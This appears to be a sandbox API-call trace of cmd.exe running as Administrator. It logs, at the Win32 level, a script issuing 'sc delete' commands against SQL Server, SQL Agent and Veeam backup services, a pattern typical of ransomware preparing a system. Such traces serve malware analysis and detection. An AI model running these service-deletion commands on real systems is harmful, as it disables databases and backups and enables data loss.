lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xa14, dwThreadId=0xb80)) returned 1 [0070.368] CloseHandle (hObject=0x50) returned 1 [0070.368] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0070.368] GetProcessHeap () returned 0x4a0000 [0070.368] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0070.368] GetEnvironmentStringsW () returned 0x4c1b10* [0070.369] GetProcessHeap () returned 0x4a0000 [0070.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0070.369] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.369] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0070.369] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0070.369] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0070.549] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0070.549] CloseHandle (hObject=0x54) returned 1 [0070.549] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0070.549] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0070.549] GetProcessHeap () returned 0x4a0000 [0070.549] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.549] GetEnvironmentStringsW () returned 0x4c1b10* [0070.549] GetProcessHeap () returned 0x4a0000 [0070.549] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0070.549] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.549] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0070.549] GetProcessHeap () returned 0x4a0000 [0070.549] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.549] GetEnvironmentStringsW () returned 0x4c1b10* [0070.549] GetProcessHeap () returned 0x4a0000 [0070.549] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0070.549] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.549] GetProcessHeap () returned 0x4a0000 [0070.549] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0070.549] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0070.549] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0070.550] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.550] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0070.550] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.550] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0070.550] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.550] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0070.550] GetConsoleOutputCP () returned 0x1b5 [0070.550] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.550] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.551] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0070.551] GetProcessHeap () returned 0x4a0000 [0070.552] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0070.552] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0070.552] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.552] GetFileType (hFile=0x120) returned 0x3 [0070.552] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0070.552] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0070.552] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0070.552] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0070.552] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0070.552] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0070.552] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.553] GetFileType (hFile=0x120) returned 0x3 [0070.553] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0070.553] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0070.553] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.553] GetFileType (hFile=0xb8) returned 0x3 [0070.553] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.553] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.553] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.553] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.553] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.553] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.553] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.553] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.553] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.554] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.554] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.554] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.554] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.554] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.554] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.554] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.554] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.554] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.554] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.554] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.554] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.554] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.554] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.554] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.555] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.555] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.555] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.555] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.555] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.555] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.555] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.555] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.555] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.555] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.555] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="SSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.555] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.555] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.555] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="QSQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.555] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.555] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.555] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="LQL\nent$VEEAMSQL2012\"\n") returned 1 [0070.555] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.556] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.556] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="AL\nent$VEEAMSQL2012\"\n") returned 1 [0070.556] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.556] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.556] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="g\nent$VEEAMSQL2012\"\n") returned 1 [0070.556] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.556] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.556] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="eent$VEEAMSQL2012\"\n") returned 1 [0070.556] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.556] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.556] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="nnt$VEEAMSQL2012\"\n") returned 1 [0070.556] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.556] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.556] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="tt$VEEAMSQL2012\"\n") returned 1 [0070.556] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.556] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.556] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="\n$VEEAMSQL2012\"\n") returned 1 [0070.556] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.556] GetFileType (hFile=0xb8) returned 0x3 [0070.556] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.557] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.557] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.557] GetFileType (hFile=0x120) returned 0x3 [0070.557] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLAgent\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLAgent\n", lpUsedDefaultChar=0x0) returned 20 [0070.557] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x13, lpOverlapped=0x0) returned 1 [0070.557] GetProcessHeap () returned 0x4a0000 [0070.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0070.557] GetProcessHeap () returned 0x4a0000 [0070.557] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0070.557] GetProcessHeap () returned 0x4a0000 [0070.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0070.557] GetProcessHeap () returned 0x4a0000 [0070.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0070.557] GetProcessHeap () returned 0x4a0000 [0070.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6510 [0070.557] GetConsoleOutputCP () returned 0x1b5 [0070.557] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.557] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.558] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.558] GetProcessHeap () returned 0x4a0000 [0070.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0070.558] GetProcessHeap () returned 0x4a0000 [0070.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6550 [0070.558] GetProcessHeap () returned 0x4a0000 [0070.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0070.558] SetErrorMode (uMode=0x0) returned 0x1 [0070.558] SetErrorMode (uMode=0x1) returned 0x0 [0070.558] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0070.558] SetErrorMode (uMode=0x1) returned 0x1 [0070.558] GetProcessHeap () returned 0x4a0000 [0070.558] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0070.558] GetProcessHeap () returned 0x4a0000 [0070.558] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0070.558] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0070.558] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0070.558] GetProcessHeap () returned 0x4a0000 [0070.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0070.558] GetProcessHeap () returned 0x4a0000 [0070.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0070.558] GetProcessHeap () returned 0x4a0000 [0070.558] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0070.558] GetProcessHeap () returned 0x4a0000 [0070.559] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0070.559] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0070.559] GetProcessHeap () returned 0x4a0000 [0070.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0070.559] GetProcessHeap () returned 0x4a0000 [0070.559] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0070.559] GetProcessHeap () returned 0x4a0000 [0070.559] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0070.559] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.559] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, 